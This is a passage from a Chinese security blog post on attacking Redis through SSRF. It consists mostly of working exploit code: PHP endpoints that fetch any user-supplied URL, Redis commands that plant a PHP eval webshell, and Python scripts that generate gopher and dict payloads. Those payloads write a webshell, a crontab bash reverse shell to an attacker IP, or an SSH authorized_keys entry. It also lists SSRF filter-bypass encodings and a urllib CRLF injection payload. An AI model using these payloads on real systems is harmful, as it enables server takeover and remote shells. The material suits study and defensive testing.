curl_close($ch); //关闭 cURL 资源,并且释放系统资源
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
if (isset($_GET['url']))
{
$link = $_GET['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
echo $result;
}
?>

file_get_contents

1
2
3
4
5
<?php
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;
?>

需要使用的redis指令是(和之前写马的是一样的):

1
2
3
4
5
flushall
set 1 '<?php eval($_POST[1]);?>'
config set dir /var/www/html
config set dbfilename koishi.php
save

在ssrf的情况下,我们需要借助 gopher 协议帮助我们写马

根据 RESP 协议编写的 python 脚本redisSsrf.py,将上述命令转换为 gopher payload。

脚本-gopher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import urllib.parse as parse

protocol = "gopher://"
ip = "192.168.13.128"
port = "6379"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd


if __name__ == "__main__":
for x in cmd:
payload += parse.quote(redis_format(x))
print(payload)
print()
print(parse.quote(payload))

结合 SSRF 时,需要再次进行 URL 编码,也就是二次 url 编码后的结果传入,这样才能写马

脚本-dict-定时任务

上面写过一次了,这里我再复制一次吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
import urllib.request
import urllib.parse
import binascii

url = "http://192.168.0.109/ssrf/base/curl_exec.php?url=" # 存在 ssrf 的 url
target = "dict://192.168.0.119:6379/" # redis 服务器地址
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\\n\\\\"', # shell接收地址与端口号
"config:set:dir:/etc/",
"config:set:dbfilename:crontab",
"bgsave"]

for cmd in cmds:
cmd_encoder = ""
for single_char in cmd:
# 先转为ASCII
cmd_encoder += hex(ord(single_char)).replace("0x", "")
cmd_encoder = binascii.a2b_hex(cmd_encoder)
cmd_encoder = urllib.parse.quote(cmd_encoder, 'utf-8')

payload = url + target + cmd_encoder
print(payload)
# request = urllib.request.Request(payload)
# response = urllib.request.urlopen(request).read()

脚本-gopher-定时任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import urllib.parse

protocol = "gopher://"
ip = "192.168.230.138"
port = "6379"
reverse_ip = "192.168.163.132"
reverse_port = "2333"
cron = "\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n" % (reverse_ip, reverse_port)
filename = "root"
path = "/var/spool/cron"

passwd = ""
cmd = ["flushall",
"set 1 {}".format(cron.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd


if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)
print()
print(urllib.parse.quote(payload))

脚本-写ssh私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import urllib.parse

protocol = "gopher://"
ip = "192.168.230.138"
port = "6379"
sshpublic_key = "\n\nid_rsa.pub 里的内容\n\n"
filename = "authorized_keys"
path = "/root/.ssh/"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(sshpublic_key.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd


if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)
print()
print(urllib.parse.quote(payload))

SSRF ip绕过

1. xip.io

xip.io的原理很简单,就是个dns解析服务

1
2
3
4
        10.0.0.1.xip.io   resolves to   10.0.0.1
www.10.0.0.1.xip.io resolves to 10.0.0.1
mysite.10.0.0.1.xip.io resolves to 10.0.0.1
foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1

类似这样的格式都解析为 10.0.0.1
http://域名+地址+xip.io ,将解析到对应地址。

2. 本地回环地址的其他表现形式

127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):

1
2
3
4
5
6
7
8
9
10
11
http://127.0.0.1
http://localhost
http://127.255.255.254
127.0.0.1 - 127.255.255.254 之间
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80

3. 对ip进行进制转换

image-20240121130241839

(十六进制也可以和十进制一样不用加 点)

由于IP地址可以用多种格式表示,因此可以在URL中如下所示使用:

1
2
3
4
5
点分十进制IP地址(正常形式)			http://127.0.0.1
八进制IP地址 http://0177.0000.0000.0001(将每个十进制数字转换为八进制)
十六进制IP地址 http://0x7f000001 或者 http://0x7f.0x00.0x00.0x01(将每个十进制数字转换为十六进制)
整数或DWORD IP地址 http://2130706433 (十进制)
不同进制组合也是可以的 http://0177.0.0.0x01

4. 添加一些url标志混淆

比如使用 “@” 符号绕过

1
http://10.10.10.10 http//10.10.10.10请求是相同的。

该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适用。

其他的还有

1
2
3
4
5
http://www.baidu.com@127.0.0.1/
http://a@127.0.0.1:80@baidu.com
http://127.0.0.1/www.baidu.com/../../../../../etc/passwd
http://127.0.0.1/?url=www.baidu.com
http://127.0.0.1/#www.baidu.com

5. 点分割符号替换(钓鱼邮件常用于绕过检测)

在浏览器中可以使用不同的分割符号来代替域名中的.分割,可以使用。、。、.来代替:

1
2
3
http://www。qq。com
http://www。qq。com
http://www.qq.com

6. 特殊数字绕过

有时候可以用特殊数字来绕过,构造特殊的127.0.0.1,如圈或者unicode字符

1
2
3
4
①②⑦.⓪.⓪.①
𝟏𝟐𝟕.𝟎.𝟎.𝟏
𝟭𝟮𝟳.𝟬.𝟬.𝟭
127.0.0.1

uncode字符

1
2
3
4
5
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗
𝟬𝟭𝟮𝟯𝟰𝟱𝟲𝟳𝟴𝟵
0123456789
𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻
𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡

Python urllib CRLF注入打本地Redis服务

该漏洞的前提python版本为python3 < 3.4.3 || python2 < 2.7.9,现在的python已不存在该问题,漏洞太老了。

如果目标站点使用了Python漏洞版本的urllib库,并且请求的url外部可控,那么就可能存在内网被探测的风险,如果本机或内网服务器中装有未授权访问漏洞的Redis,那么服务器就存在被getshell的风险。

原理和组合SSRF漏洞完全一样,可以通过CRLF注入来利用Redis向Crontab写入反弹shell的定时任务。

例子:

1
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a

解码结果如下

1
2
3
http://127.0.0.1
set admin 123456
save

写定时任务同之前的payload

详情参考:https://security.tencent.com/index.php/blog/msg/106

  • 标题: Redis 安全
  • 作者: Ko1sh1
  • 创建于 : 2023-10-02 19:25:48
  • 更新于 : 2024-05-30 21:52:42
  • 链接: https://ko1sh1.github.io/2023/10/02/blog_Redis安全/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论